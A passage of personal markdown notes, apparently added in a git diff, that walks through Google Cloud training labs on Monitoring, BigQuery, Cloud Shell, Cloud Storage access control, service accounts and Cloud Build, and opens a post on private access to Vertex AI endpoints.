the **my-vm** instance + - click **SSH** in its row in the **VM instances** list. + +8. In the ssh session on **my-vm**, execute this command to create a CPU load: + +```bash +dd if=/dev/urandom | gzip -9 >> /dev/null & +# This Linux pipeline forces the CPU to work on compressing a continuous stream of random data. +``` + +Leave the window containing your SSH session open while you proceed with the lab. + + +Create a Monitoring workspace +--- + + +You will now setup a Monitoring workspace that's tied to your Qwiklabs GCP Project. The following steps create a new account that has a free trial of Monitoring. + +1. Google Cloud Platform Console > **Navigation menu** > **Monitoring**. + +2. When the Monitoring dashboard opens, your workspace is ready. + - ![Overview.png](https://cdn.qwiklabs.com/FfS7W1mNXshxngUuea%2BFUBXoXedgDHt0YWk1aZKHiIk%3D) + +3. Click on **Settings** option + - confirm that the GCP project which Qwiklabs created for you is shown under the **GCP Projects** section. + - ![allocated_projects](https://cdn.qwiklabs.com/P7B0m0egv1%2Br%2Fh4jrrz2IxaaoKyaGvlwsrus%2FmUDjLI%3D) + +4. Run the commands shown on screen in the SSH window of your VM instance to install both the Monitoring and Logging agents. + +```bash +curl -sSO https://dl.google.com/cloudagents/install-monitoring-agent.sh +sudo bash install-monitoring-agent.sh + +curl -sSO https://dl.google.com/cloudagents/install-logging-agent.sh +sudo bash install-logging-agent.sh +``` + +5. Once both of the agents have been installed on your project's VM, + - click **Metrics Explorer** under the main Cloud Monitoring menu on the far left. + +6. In the **Metric** pane of **Metrics Explorer**, select the resource type **VM instance** and the metric **CPU usage**. + - In the resulting graph, notice that CPU usage increased sharply a few minutes ago. + - ![Screen Shot 2021-02-10 at 18.13.43](https://i.imgur.com/Fm2mmg9.png) + +7. Terminate your workload generator. + +8. Return to your ssh session on **my-vm** and enter this command: + +```bash +kill %1 +``` + + +--- + + + + +## lab7 - Google Cloud Fundamentals: BigQuery + +* Load data from Cloud Storage into BigQuery. +* load a web server log into a BigQuery table + +* Perform a query on the data in BigQuery. +* query it using the BigQuery web user interface and the BigQuery CLI + + +### Task 1: Sign in to the Google Cloud Platform (GCP) Console + + +### Task 2: Load data from Cloud Storage into BigQuery + +1. Google Console > **Navigation menu** > click **BigQuery** > click **Done**. + +2. Create a new dataset within your project + 1. selecting your project in the Resources section, then clicking on **CREATE DATASET** on the right. + 2. for **Dataset ID**, type **logdata**. + 3. For **Data location**, select the continent closest to the region your project was created in. + 4. click **Create dataset**. + +3. Create a new table in the **logdata** to store the data from the CSV file. + 1. Click on **Create Table**. + 2. the **Source** section: + 1. choose select **Google Cloud Storage**, and in the field, type `gs://cloud-training/gcpfci/access_log.csv`. + 2. Verify **File format** is set to **CSV**. + 3. **Note:** When you have created a table previously, the Create from Previous Job option allows you to quickly use your settings to create similar tables. + +4. In the **Destination** section: + * For **Dataset name**, leave **logdata** selected. + * For **Table name**, type **accesslog**. + * For **Table type**, **Native table** should be selected. + +5. Under **Schema** section + 1. for **Auto detect** check the **Schema and input Parameters**. + +6. Accept the remaining default values and click **Create Table**. + - BigQuery creates a load job to create the table and upload data into the table (this may take a few seconds). + +7. (Optional) To track job progress, click **Job History**. + +8. When the load job is complete, click **logdata** > **accesslog**. + +9. On the table details page + 1. click **Details** to view the table properties + 2. click **Preview** to view the table data. + +> Each row in this table logs a hit on a web server. The first field, **string\_field\_0**, is the IP address of the client. +> The fourth through ninth fields log the day, month, year, hour, minute, and second at which the hit occurred. +> In this activity, you will learn about the daily pattern of load on this web server. + + + + +### Task 3: Perform a query on the data using the BigQuery web UI + +> use the BigQuery web UI to query the **accesslog** table you created previously. + +1. In the **Query editor** window, type (or copy-and-paste) the following query: + +2. Because you told BigQuery to automatically discover the schema when you load the data, the hour of the day during which each web hit arrived is in a field called **int\_field\_6**. + +select int64_field_6 as hour, count(*) as hitcount from logdata.accesslog group by hour order by hour + +> Notice that the Query Validator tells you that the query syntax is valid (indicated by the green check mark) and indicates how much data the query will process. +> The amount of data processed allows you to determine the price of the query using the [Cloud Platform Pricing Calculator](https://cloud.google.com/products/calculator/). + +3. Click **Run** and examine the results. + + + +### Task 4: Perform a query on the data using the bq command + +> use the bq command in Cloud Shell to query the **accesslog** table you created previously. + +1. **Google Cloud Platform** Console > click **Activate Cloud Shell** > click **Continue**. + +```bash +bq query "select string_field_10 as request, count(*) as requestcount from logdata.accesslog group by request order by requestcount desc" +# Waiting on bqjob_r22b5bce3efe1ba12_000001778e4a262f_1 ... (0s) Current status: DONE +# | request | requestcount | +# | GET /store HTTP/1.0 | 337293 | +# | GET /index.html HTTP/1.0 | 336193 | +# | GET /products HTTP/1.0 | 280937 | +# | GET /services HTTP/1.0 | 169090 | +# | GET /products/desserttoppings HTTP/1.0 | 56580 | +# | GET /products/floorwaxes HTTP/1.0 | 56451 | +# | GET /careers HTTP/1.0 | 56412 | +# | GET /services/turnipwinding HTTP/1.0 | 56401 | +# | GET /services/spacetravel HTTP/1.0 | 56176 | +# | GET /favicon.ico HTTP/1.0 | 55845 | +``` + +--- + +# Kubernetes Lab + +Lab for [Architecting with Google Kubernetes Engine: Foundations](https://www.coursera.org/learn/foundations-google-kubernetes-engine-gke/home/welcome) + +--- + + +## lab1 - Accessing the Google Cloud Console and Cloud Shell + + +* Learn how to access the Google Cloud Console and Cloud Shell + +* Become familiar with the Google Cloud Console + +* Become familiar with Cloud Shell features, including the Cloud Shell code editor + +* Use the Google Cloud Console and Cloud Shell to create buckets and VMs and service accounts + +* Perform other commands in Cloud Shell + + +### Task 0. Lab Setup + +### Task 1. Explore the Google Cloud Console + +--- + + +### Cloud Storage: create a bucket + +> Cloud Storage buckets must have a globally unique name. +> easily get a unique name for our bucket by using the ID of the Google Cloud project that Qwiklabs created for us, because Google Cloud project IDs are also globally unique. + +1. Google Cloud Console > **Storage** > **Browser**. +2. Click **Create bucket**. + 1. For **Name**, paste in the Google Cloud project ID string you copied in an earlier step. + 2. Leave all other values as their defaults. +3. Click **Create**. + - ![Screen Shot 2021-02-11 at 13.52.24](https://i.imgur.com/9IBkRsg.png) + +> The Google Cloud Console has a **Notifications** (![notifications icon](https://cdn.qwiklabs.com/F5kQGlErW%2BjJRPG8ZwXMUKHhAaugHazVETpa1WSg8aM%3D)) icon. Feedback from the underlying commands is sometimes provided there. You can click the icon to check the notifications for additional information and history. + +--- + + +### Create a virtual machine (VM) instance + +1. click **Compute Engine** > **VM instances**. +2. Click **Create Instance**. + 1. For **Name**: `first-vm` + 2. For **Region**: `us-central1`. + 3. For **Zone**: `us-central1-c`. + 4. For **Machine type**, examine the options. + - The **Machine type:** menu lists the number of virtual CPUs, the amount of memory, and a symbolic name such as _e1-standard-1_. + - The symbolic name is the parameter you use to select the machine type when using the `gcloud` command to create a VM. + - To the right of the region, zone, and machine type is a per-month estimated cost. + - To see the breakdown of estimated costs, click **Details** to the right of the **Machine type** list underneath the estimated costs. + 1. For **Machine type**, click **2 vCPUs (e2-standard-2)** + 2. For **Machine type,** click **e2-micro (2 shared vCPU)**. + - The micro type is a shared-core VM that is inexpensive. + 5. For **Firewall**, click **Allow HTTP traffic**. +3. Leave the remaining settings as their defaults, and click **Create**. + +--- + + +### Explore the VM details + +1. **VM instances** page, click `first-vm`. +2. Locate **CPU platform**, click **Edit**. + - can't change the machine type, the CPU platform, or the zone of a running Google Cloud VM. + - can add network tags and allow specific network traffic from the internet through firewalls. + - can add disks, determine whether the boot disk is deleted when the instance is deleted. +3. Scroll down and examine +4. Click **Cancel**. + +--- + + +### Create an IAM service account + +1. **IAM & admin** > **Service accounts**. + +2. Click **+ Create service account**. +3. **Service account details** page, + 1. **Service account name**: `test-service-account`. + 2. Click **Create**. +4. **Service account permissions** page + 1. role as **Project** > **Editor**. + 2. Click **Continue**. +5. Click **Done**. + +6. **Service accounts** > `test-service-account` > click three dots `Action`. + 1. Click **Create Key**. + 2. Select **JSON** as the key type. + 3. Click **Create**. + 4. Click **Close**. + +--- + + +### Task 2. Explore Cloud Shell + + +--- + +### Open Cloud Shell and explore its features + +1. click **Activate Cloud Shell** > click **Continue**. + + * **Hide/Restore:** This icon hides and restores the window, giving you full access to the Google Cloud Console without closing Cloud Shell. + + * **Open in new window:** Having Cloud Shell at the bottom of the Google Cloud Console is useful when you are issuing individual commands. But when you edit files or want to see the full output of a command, clicking this icon displays Cloud Shell in a full-sized terminal window. + + * **Close all tabs:** This icon closes Cloud Shell. Every time you close Cloud Shell, the virtual machine is recycled and all machine context is lost. However, data that you stored in your home directory is still available to you the next time you start Cloud Shell. + +--- + + +### Use Cloud Shell to set up the environment variables + +> use the following commands to define the environment variables used in this task. + +1. Replace [BUCKET_NAME] with the name of the first bucket from task 1. +2. Replace [BUCKET_NAME_2] with a globally unique name. + +```bash +MY_BUCKET_NAME_1=qwiklabs-gcp-03-529929a89c8f +MY_BUCKET_NAME_2=qwiklabs-gcp-03-529929a89c8f_2 +MY_REGION=us-central1 +``` + +--- + + +### Move the credentials file into Cloud Shell + +> You downloaded a JSON-encoded credentials file in an earlier task when you created your first Cloud IAM service account. + +1. On your local workstation + - locate the JSON key + - rename the file to `credentials.json`. + +2. In Cloud Shell, click the three dots (![Three-dot menu icon](https://cdn.qwiklabs.com/5OEwfJEfsSg8zDSsYjmqhsK7fRiAcDrW50FJ0Axw%2Fk8%3D)) icon + +3. Click **Upload file** + - upload the `credentials.json` file to the Cloud Shell VM. + +4. In Cloud Shell, type **ls** to confirm that the file was uploaded. + + +--- + + +### Create a second Cloud Storage bucket + +1. In Cloud Shell + - use the `gsutil` command to create a bucket. + - `gsutil mb gs://$MY_BUCKET_NAME_2` + +2. Google Cloud Console > **Storage** > **Browser** > click **Refresh** if you are already in the Storage Browser. + - The second bucket should appear in the **Buckets** list. + + +--- + + +### Use the gcloud command line to create a second virtual machine + +1. create the VM + +```bash +# 1. to list all the zones in a given region: +gcloud compute zones list | grep $MY_REGION + + +# 2. Select a zone from the first column of the list. + +# 3. store your chosen zone in an environment variable. +MY_ZONE=us-central1-c + +# 4. Set this zone to be your default zone by executing the following command. +gcloud config set compute/zone $MY_ZONE + + +# 5. store a name in an environment variable you will use to create a VM. +MY_VMNAME=second-vm + + +# 6. Create a VM in the default zone that you set earlier in this task using the new environment variable to assign the VM name. +gcloud compute instances create $MY_VMNAME \ + --machine-type "e2-standard-2" \ + --image-project "debian-cloud" \ + --image-family "debian-9" \ + --subnet "default" + + +# 7. List the virtual machine instances in your project. +gcloud compute instances list +# both your newly created and your first virtual machine in the list. +# NAME ZONE MACHINE_TYPE PREEMPTIBLE INTERNAL_IP EXTERNAL_IP STATUS +# first-vm us-central1-c e2-micro 10.128.0.2 35.239.43.203 RUNNING +# second-vm us-central1-c e2-standard-2 10.128.0.3 35.226.88.66 RUNNING +``` + +1. Google Cloud Console > **Navigation menu** , click **Compute Engine** > **VM Instances**. + - see both of the virtual machines created. + +2. Look at the `External IP` column. + - the external IP address of the first VM you created is shown as a link. (If necessary, click the `HIDE INFO PANEL` button to reveal the `External IP` column.) + - The Google Cloud Console offers the link because you configured this VM's firewall to allow HTTP traffic. + +3. Click the link you found in your VM's `External IP` column. + - Your browser will present a `Connection refused` message in a new browser tab. + - This message occurs because, although there is a firewall port open for HTTP traffic to your VM, no Web server is running there. + - Close the browser tab you just created. + + +--- + + +### create a second service account + +1. In Cloud Shell + +```bash +# create a new service account: +gcloud iam service-accounts create test-service-account2 \ + --display-name "test-service-account2" + + +# If you see the following output, type **y** and press **ENTER**: +# API [iam.googleapis.com] not enabled on project [560255523887]. Would you like to enable and retry (this will take a few minutes)? (y/N)? +``` + + +2. Google Cloud Console > **IAM & admin** > **Service accounts**. + - Refresh the page till you see **test-service-account2**. + + +```bash +# to grant the second service account the Project viewer role: +gcloud projects add-iam-policy-binding $GOOGLE_CLOUD_PROJECT \ + --member serviceAccount:test-service-account2@${GOOGLE_CLOUD_PROJECT}.iam.gserviceaccount.com \ + --role roles/viewer + +# `GOOGLE_CLOUD_PROJECT` is an environment variable that is automatically populated in Cloud Shell and is set to the project ID of the current context. +``` + +4. Google Cloud Console > **IAM & admin** > **IAM**. + - Select the new service account called **test-service-account2**. + +5. right hand side of the page, click on pencil icon and expand the Viewer role. + - see **test-service-account2** listed as a member of the Viewer role. + + + + +### Task 3. Work with Cloud Storage in Cloud Shell + + +### Download a file to Cloud Shell and copy it to Cloud Storage + +```bash +# 1. Copy a picture of a cat from a Google-provided Cloud Storage bucket to your Cloud Shell. +gsutil cp gs://cloud-training/ak8s/cat.jpg cat.jpg + + +# 2. Copy the file into one of the buckets that you created earlier. +gsutil cp cat.jpg gs://$MY_BUCKET_NAME_1 + + +# 3. Copy the file from the first bucket into the second bucket: +gsutil cp gs://$MY_BUCKET_NAME_1/cat.jpg gs://$MY_BUCKET_NAME_2/cat.jpg +``` + +1. Google Cloud Console > **Storage** > **Browser** + - select the buckets that you created, and verify that both contain the `cat.jpg` file. + + +--- + + +### Set the access control list for a Cloud Storage object + +```bash +# 1. To get the default access list that's been assigned to `cat.jpg` +gsutil acl get gs://$MY_BUCKET_NAME_1/cat.jpg > acl.txt +cat acl.txt +# output shows that anyone with a Project Owner, Editor, or Viewer role for the project has access (Owner access for Owners/Editors and Reader access for Viewers). +# [ +# { +# "entity": "project-owners-560255523887", +# "projectTeam": { +# "projectNumber": "560255523887", +# "team": "owners" +# }, +# gsutil cp gs://cloud-training/ak8s/cat.jpg cat.jpg "role": "OWNER" +# }, +# { +# "entity": "project-editors-560255523887", +# "projectTeam": { +# "projectNumber": "560255523887", +# "team": "editors" +# }, +# "role": "OWNER" +# }, +# { +# "entity": "project-viewers-560255523887", +# "projectTeam": { +# "projectNumber": "560255523887", +# "team": "viewers" +# }, +# "role": "READER" +# }, +# { +# "email": "google12345678_student@qwiklabs.net", +# "entity": "user-google12345678_student@qwiklabs.net", +# "role": "OWNER" +# } +# ] + + +# 2. To change the object to have private access, execute the following command: +gsutil acl set private gs://$MY_BUCKET_NAME_1/cat.jpg + + +# 3. To verify the new ACL that's been assigned to `cat.jpg`, execute the following two commands: +gsutil acl get gs://$MY_BUCKET_NAME_1/cat.jpg > acl-2.txt +cat acl-2.txt + + +# The output should look similar to the following example. Now only the original creator of the object (your lab account) has Owner access. + [ + { + "email": "google12345678_student@qwiklabs.net", + "entity": "user-google12345678_student@qwiklabs.net", + "role": "OWNER" + } + ] +``` + +--- + + +### Authenticate as a service account in Cloud Shell + + +1. In Cloud Shell + + +```bash +# 1. execute the following command to view the current configuration: +gcloud config list +# output +# [component_manager] +# disable_update_check = True +# [compute] +# gce_metadata_read_timeout_sec = 5 +# zone = us-central1-a +# [core] +# account = google12345678_student@qwiklabs.net +# disable_usage_reporting = False +# project = qwiklabs-Google Cloud-1aeffbc5d0acb416 +# [metrics] +# environment = devshell +# Your active configuration is: [cloudshell-16441] + + +# 2. change the authenticated user to the first service account through the credentials uploaded into Cloud Shell (`credentials.json`). +gcloud auth activate-service-account --key-file credentials.json +# Cloud Shell is now authenticated as `test-service-account`. + + +# 3. To verify the active account, execute the following command: +gcloud config list +# output +# The account is now set to the `test-service-account` service account. +# [component_manager] +# disable_update_check = True +# [compute] +# gce_metadata_read_timeout_sec = 5 +# zone = us-central1-a +# [core] +# account = test-service-account@qwiklabs-Google Cloud-1aeffbc5d0acb416.iam.gserviceaccount.com +# disable_usage_reporting = False +# project = qwiklabs-Google Cloud-1aeffbc5d0acb416 +# [metrics] +# environment = devshell +# Your active configuration is: [cloudshell-16441] + + +# 4. To verify the list of authorized accounts in Cloud Shell, execute the following command: +gcloud auth list +# **Output** +# Credentialed Accounts +# ACTIVE ACCOUNT +# student-03-8f6a8a61dece@qwiklabs.net +# * test-service-account@qwiklabs-gcp-03-529929a89c8f.iam.gserviceaccount.com +# To set the active account, run: +# $ gcloud config set account `ACCOUNT` + + +# 5. To verify that the current account (`test-service-account`) cannot access the `cat.jpg` file in the first bucket +gsutil cp gs://$MY_BUCKET_NAME_1/cat.jpg ./cat-copy.jpg +# Because you restricted access to this file to the owner earlier in this task you should see output that looks like the following example. +# **Output** +# Copying gs://test-bucket-123/cat.jpg... +# AccessDeniedException: 403 KiB] + + +# 6. Verify that the current account (`test-service-account`) can access the `cat.jpg` file in the second bucket that you created: +gsutil cp gs://$MY_BUCKET_NAME_2/cat.jpg ./cat-copy.jpg +# **Output** +# Copying gs://test-bucket-123/cat.jpg... +# - [1 files][ 81.7 KiB/ 81.7 KiB] +# Operation completed over 1 objects/81.7 KiB. + + +# 7. To switch to the lab account, execute the following command. +# replace `[USERNAME]` with the username provided in the Qwiklabs Connection Details pane left of the lab instructions page. . +gcloud config set account student-03-8f6a8a61dece@qwiklabs.net + + +# 8. To verify that you can access the `cat.jpg` file in the [BUCKET_NAME] bucket (the first bucket that you created), execute the following command. +gsutil cp gs://$MY_BUCKET_NAME_1/cat.jpg ./copy2-of-cat.jpg +# The lab account created the bucket and object and remained an Owner when the object access control list (ACL) was converted to private, so the lab account can still access the object. +# **Output** +# Copying gs://test-bucket-123/cat.jpg... +# - [1 files][ 81.7 KiB/ 81.7 KiB] +# Operation completed over 1 objects/81.7 KiB. + + +# 9. Make the first Cloud Storage bucket readable by everyone, including unauthenticated users. +gsutil iam ch allUsers:objectViewer gs://$MY_BUCKET_NAME_1 +# This is an appropriate setting for hosting public website content in Cloud Storage. +``` + + +10. Google Cloud Console > **Storage** > **Browser**, + - select the first storage bucket that you created. Notice that the `cat.jpg` file has a `Public link`. Copy this link. + +11. Open an incognito browser tab and paste the link into its address bar. + - see a picture of a cat. + - Leave this browser tab open. + + + + +### Task 4. Explore the Cloud Shell code editor + + +### Open the Cloud Shell code editor + +1. In Cloud Shell, click the Open in new window icon top right. Then click the pencil icon to open the Cloud Shell code editor. + +![Cloud Shell Code Editor icon](https://cdn.qwiklabs.com/%2F0PU9XwgGWyf%2B%2Buf9AiL%2BMqc9SUkbRf1CiEB4fBZl58%3D) + +2. In Cloud Shell + +```bash +# execute the following command to clone a `git` repository: +git clone https://github.com/googlecodelabs/orchestrate-with-kubernetes.git + +# create a test directory: +mkdir test +``` + +- The `orchestrate-with-kubernetes` folder appears in the left pane of the Cloud Shell code editor window. +- The `test` folder now appears in the left pane of the Cloud Shell code editor window. +- ![test-folder-revealed](https://cdn.qwiklabs.com/fIQEgM2apf0RdT0NaGMykEFUnHIOOf0tg0%2BXROt38b4%3D) + + + +4. In the Cloud Shell code editor, click the arrow to the left of `orchestrate-with-kubernetes` to expand the folder. + - ![expand-folder](https://cdn.qwiklabs.com/sFNhGK6RcH66%2FcbULKE%2Bw2W%2B4CeoAFTFQPWe3M%2F0KeI%3D) + +5. Click the `cleanup.sh` file to open it in the right pane of the Cloud Shell code editor window. + - ![cleanup](https://cdn.qwiklabs.com/nze4h0R82UGn%2F%2FT%2B9TeGdPHSJbbfHebBnnFvZ39itwc%3D) + +6. Add the following text as the last line of the `cleanup.sh` file: + - `echo Finished cleanup!` + + +7. In Cloud Shell + +```bash +# execute the following commands to change directory +cd orchestrate-with-kubernetes + +# display the contents of `cleanup.sh` +cat cleanup.sh +``` + +9. In the Cloud Shell code editor, click to open the `File` menu and choose `New File`. + - Name the file `index.html`. + +10. In the right hand pane, paste in this HTML text + +```html +Cat + +

    Cat

    +pic + + + +Cat + +

    Cat

    +pic + + + + +``` + + +11. click **Compute Engine** > **VM instances**. + +12. first VM, click the `SSH` button. + +13. In the SSH login window, install the `nginx` Web server: + +```bash +sudo apt-get update +sudo apt-get install nginx -y +``` + + +14. In your Cloud Shell window, + +```bash +# copy the HTML file you created using the Code Editor to your virtual machine: +gcloud compute scp index.html first-vm:index.nginx-debian.html \ + --zone=us-central1-c + +# If you are prompted whether to add a host key to your list of known hosts, answer **y**. + +# If you are prompted to enter a passphrase, press the **Enter** key to respond with an empty passphrase. +# Press the **Enter** key again when prompted to confirm the empty passphrase. +# Generating public/private rsa key pair. +# Enter passphrase (empty for no passphrase): +# Enter same passphrase again: +# Your identification has been saved in /home/student-03-8f6a8a61dece/.ssh/google_compute_engine. +# Your public key has been saved in /home/student-03-8f6a8a61dece/.ssh/google_compute_engine.pub. +# The key fingerprint is: +# SHA256:6FS+lmJQZ/hVXAI47IvRLpVJUODu4Uk4R5csSGMbYVw student-03-8f6a8a61dece@first-vm +# The key's randomart image is: + +# | .BoE=...oo.. | +# | +.* o=. ... | +# | o *+B+. | +# | =.X*. | +# | + B=S. | +# | Xoooo | +# | B.+ | +# | . o | +# | | + +``` + + +16. In the **SSH** login window for your VM, copy the HTML file from your home directory to the document root of the `nginx` Web server: + +```bash +sudo cp index.nginx-debian.html /var/www/html +``` + +17. click **Compute Engine** > **VM instances**. + - Click the link in the `External IP` column for your first VM. + - A new browser tab opens, containing a Web page that contains the cat image. + + +--- + +## lab2 - Working with Cloud Build + +* Use Cloud Build to build and push containers +* Use Container Registry to store and deploy containers + +--- + +### Task 0. Lab Setup + +--- + +### Task 1: Confirm that needed APIs are enabled + +1. Google Cloud Console > **Navigation menu** > click **APIs & Services**. + +2. Click **Enable APIs and Services**. + +3. In the **Search for APIs & Services** box + - Cloud Build API, `ENABLE` + - Container Registry, `ENABLE` + +--- + +### Task 2. Building Containers with DockerFile and Cloud Build + +1. Google Cloud Console > **Activate Cloud Shell** > **Continue**. + +```bash +# Create an empty `quickstart.sh` file using the nano text editor. +nano quickstart.sh +#!/bin/sh +echo "Hello, world! The time is $(date)." +# Save the file and close nano by pressing the **CTRL+X** key, then press **Y** and **Enter**. + + +# Create an empty `Dockerfile` file using the nano text editor. +nano Dockerfile + +FROM alpine +# use the Alpine Linux base image. +COPY quickstart.sh / +# adds the `quickstart.sh` script to the / directory in the image. +CMD ["/quickstart.sh"] +# execute the `/quickstart.sh` script when the associated container is created and run. + +# to make the `quickstart.sh` script executable. +chmod +x quickstart.sh + + +# build the Docker container image in Cloud Build. +gcloud builds submit \ + --tag gcr.io/${GOOGLE_CLOUD_PROJECT}/quickstart-image . +# **Important** +# Don't miss the dot (".") at the end of the command. +# The dot specifies that the source code is in the current working directory at build time. + + +# When the build completes, your Docker image is built and pushed to Container Registry. +ID CREATE_TIME DURATION SOURCE + IMAGES STATUS +e52cca0d-6072-47d9-b3b1-721b4b98413c 2021-02-12T03:42:00+00:00 18S gs://qwiklabs-gcp-00-49456f0372f9_cloudbuild/source/1613101317.916576-fc83f987943e40a19b0148c1c9 +a30352.tgz gcr.io/qwiklabs-gcp-00-49456f0372f9/quickstart-image (+1 more) SUCCESS + +``` + + +2. Google Cloud Console > **Navigation menu** > click **Container Registry** > **Images**. + - ![5ea63873c5756db4.png](https://cdn.qwiklabs.com/Qj7SNdo1E4nLPdSjRNkyhEiFDD7wDpfrFR%2BXqJ75GGY%3D) + - The `quickstart-image` Docker image appears in the list + + + + +### Task 3. Building Containers with a build configuration file and Cloud Build + + +Cloud Build also supports custom build configuration files. In this task you will incorporate an existing Docker container using a custom YAML-formatted build file with Cloud Build. + +1. In Cloud Shell + +```bash +# to clone the repository to the lab Cloud Shell. +git clone https://github.com/GoogleCloudPlatform/training-data-analyst + +# Create a soft link as a shortcut to the working directory. +ln -s ~/training-data-analyst/courses/ak8s/v1.1 ~/ak8s + + +# Change to the directory that contains the sample files for this lab. +cd ~/ak8s/Cloud_Build/a + + +# A sample custom cloud build configuration file called `cloudbuild.yaml` has been provided for you in this directory as well as copies of the `Dockerfile` and the `quickstart.sh` script you created in the first task. + +# view the contents of `cloudbuild.yaml`. +cat cloudbuild.yaml +# steps: +# - name: 'gcr.io/cloud-builders/docker' +# args: [ 'build', '-t', 'gcr.io/$PROJECT_ID/quickstart-image', '.' ] +# images: +# - 'gcr.io/$PROJECT_ID/quickstart-image' + + +# This file instructs Cloud Build to +# use Docker to build an image using the Dockerfile specification in the current local directory, tag it with `gcr.io/$PROJECT_ID/quickstart-image` and then push that image to Container Registry. + + +# start a Cloud Build using `cloudbuild.yaml` as the build configuration file: +gcloud builds submit --config cloudbuild.yaml . +# The build output to Cloud Shell should be the same as before. +# When the build completes, a new version of the same image is pushed to Container Registry. +``` + + + +2. Google Cloud Console > **Navigation menu** > click **Container Registry** > **Images** > click `quickstart-image`. + - ![20760c66fe33e5c7.png](https://cdn.qwiklabs.com/mylH9Pp%2BcYlbRpVp5HOjGthybnn717ZJhGNy%2BfLA70M%3D) + - Two versions of `quickstart-image` are now in the list. + + +3. Google Cloud Console > **Navigation menu** > click **Cloud Build** > **History**. + - ![build1.png](https://cdn.qwiklabs.com/mqUXBAq%2ByIuDVyD8BONP%2FFdGUQ2tZIx54TnQtTsAhEs%3D) + - Two builds appear in the list. + +4. Click the build ID for the build at the top of the list. + - ![build2.png](https://cdn.qwiklabs.com/sFxkQJqyhLEDPzkL12IRlPTETIPOMoV83f3AbQjrZjo%3D) + - The details of the build, including the build log, are displayed. + + + + +### Task 4. Building and Testing Containers with a build configuration file and Cloud Build + + + +1. In Cloud Shell + +```bash +# change to the directory that contains the sample files for this lab. +cd ~/ak8s/Cloud_Build/b + +cat Dockerfile +# FROM alpine +# COPY quickstart.sh / +# CMD ["/quickstart.sh"] + +cat quickstart.sh +# #!/bin/sh +# if [ -z "$1" ] +# then +# echo "Hello, world! The time is $(date)." +# exit 0 +# else +# exit 1 +# fi + +cat cloudbuild.yaml +# steps: +# - name: 'gcr.io/cloud-builders/docker' +# args: [ 'build', '-t', 'gcr.io/$PROJECT_ID/quickstart-image', '.' ] +# - name: 'gcr.io/$PROJECT_ID/quickstart-image' +# args: ['fail'] +# images: +# - 'gcr.io/$PROJECT_ID/quickstart-image' + + +# In addition to its previous actions, this build configuration file runs the `quickstart-image` it has created. +# In this task, the `quickstart.sh` script has been modified so that it simulates a test failure when an argument `['fail']` is passed to it. + + +# start a Cloud Build using `cloudbuild.yaml` as the build configuration file: +gcloud builds submit \ + --config cloudbuild.yaml . +# **Output (do not copy)** +# Finished Step #1 +# ERROR +# ERROR: build step 1 "gcr.io/ivil-charmer-227922klabs-gcp-49ab2930eea05/quickstart-image" failed: exit status 127 +# +# ERROR: (gcloud.builds.submit) build f3e94c28-fba4-4012-a419-48e90fca7491 completed with status "FAILURE" + + +# 4. Confirm that your command shell knows that the build failed: +echo $? + + +# The command will reply with a non-zero value. +# If you had embedded this build in a script, your script would be able to act up on the build's failure. +``` diff --git a/_posts/01Cloud/01GCP/AI/2023-04-24-GCP-OnlinePredictionEndpoints.md b/_posts/01Cloud/01GCP/AI/2023-04-24-GCP-OnlinePredictionEndpoints.md new file mode 100644 index 00000000000..46ceae5046d --- /dev/null +++ b/_posts/01Cloud/01GCP/AI/2023-04-24-GCP-OnlinePredictionEndpoints.md @@ -0,0 +1,1070 @@ +--- +title: GCP - GCP AI +date: 2023-04-24 11:11:11 -0400 +description: +categories: [01GCP] +# img: /assets/img/sample/rabbit.png +tags: [AI, ML] +--- + +# GCP - Vertex AI access online prediction endpoints privately using PSC + +- [GCP - Vertex AI access online prediction endpoints privately using PSC](#gcp---vertex-ai-access-online-prediction-endpoints-privately-using-psc) + - [Introduction](#introduction) + - [What you'll build](#what-youll-build) + - [What you'll learn](#what-youll-learn) + - [What you'll need](#what-youll-need) + - [1. Update the project](#1-update-the-project) + - [2. Enable Services](#2-enable-services) + - [3. Setup `aiml-vpc`](#3-setup-aiml-vpc) + - [4. Setup `on-prem-vpc`](#4-setup-on-prem-vpc) + - [5. Create the Private Service Connect endpoint](#5-create-the-private-service-connect-endpoint) + - [6. Hybrid connectivity](#6-hybrid-connectivity) + - [Deploy HA VPN between the `aiml-vpc` and `on-prem-vpc`.](#deploy-ha-vpn-between-the-aiml-vpc-and-on-prem-vpc) + - [Validate HA VPN gateway creation](#validate-ha-vpn-gateway-creation) + - [Create the VPN tunnels on each **HA VPN gateway**.](#create-the-vpn-tunnels-on-each-ha-vpn-gateway) + - [Validate vpn tunnel creation](#validate-vpn-tunnel-creation) + - [7. Establish BGP neighbors interface and peering for both VPC](#7-establish-bgp-neighbors-interface-and-peering-for-both-vpc) + - [Create BGP sessions](#create-bgp-sessions) + - [Validate](#validate) + - [8. Create custom route advertisements `aiml-vpc`](#8-create-custom-route-advertisements-aiml-vpc) + - [Validation](#validation) + - [9. Create custom route advertisements `on-prem-vpc`](#9-create-custom-route-advertisements-on-prem-vpc) + - [Validation](#validation-1) + - [10. Create a user managed service account (GCE Instances)](#10-create-a-user-managed-service-account-gce-instances) + - [11. Create a user managed service account (Notebook)](#11-create-a-user-managed-service-account-notebook) + - [12. Created the test instances](#12-created-the-test-instances) + - [13. Create a user managed notebook](#13-create-a-user-managed-notebook) + - [14. Deploy the Model and Online Prediction](#14-deploy-the-model-and-online-prediction) + - [15. Validate access to the Vertex API over the Internet](#15-validate-access-to-the-vertex-api-over-the-internet) + - [16. Validation - Internet Access to Vertex API](#16-validation---internet-access-to-vertex-api) + - [17. Enable Private Access to Vertex APIs](#17-enable-private-access-to-vertex-apis) + - [18. Validation - Private Access to Vertex API](#18-validation---private-access-to-vertex-api) + - [19. Clean up](#19-clean-up) + - [20. End](#20-end) + +ref: +- https://codelabs.developers.google.com/codelabs/vertex-psc-googleapis#17 + +--- + +## Introduction + +![picture 0](/assets/img/00fad834c06a29ac71caa4170773048579fbb656d08d4f88efe51669d1eeb03a.png) + +- On-premises hosts can reach an Online Prediction from the on-premises network + - natively through the **public internet** (option 1) + - using **Cloud VPN** or **Cloud Interconnect** with **Private Service Connect** (PSC) (option 2) + +- both offering SSL/TLS encryption. + +- Hybrid connectivity to online prediction over interconnect is more performant than Internet therefore recommended for critical applications as illustrated in Figure 1. + +In this tutorial we will demonstrate how to use **High-Availability VPN (HA VPN)** to access Online Prediction privately between two VPC networks that can serve as a basis for multi-cloud and on-premises private connectivity. + +**Vertex Online Prediction is a public endpoint**, therefore you want to restrict access utilizing **VPC Service Controls (VPC-SC)** to create secure perimeters to allow/deny access to Vertex and other Googleapis. + +--- + +### What you'll build + +![picture 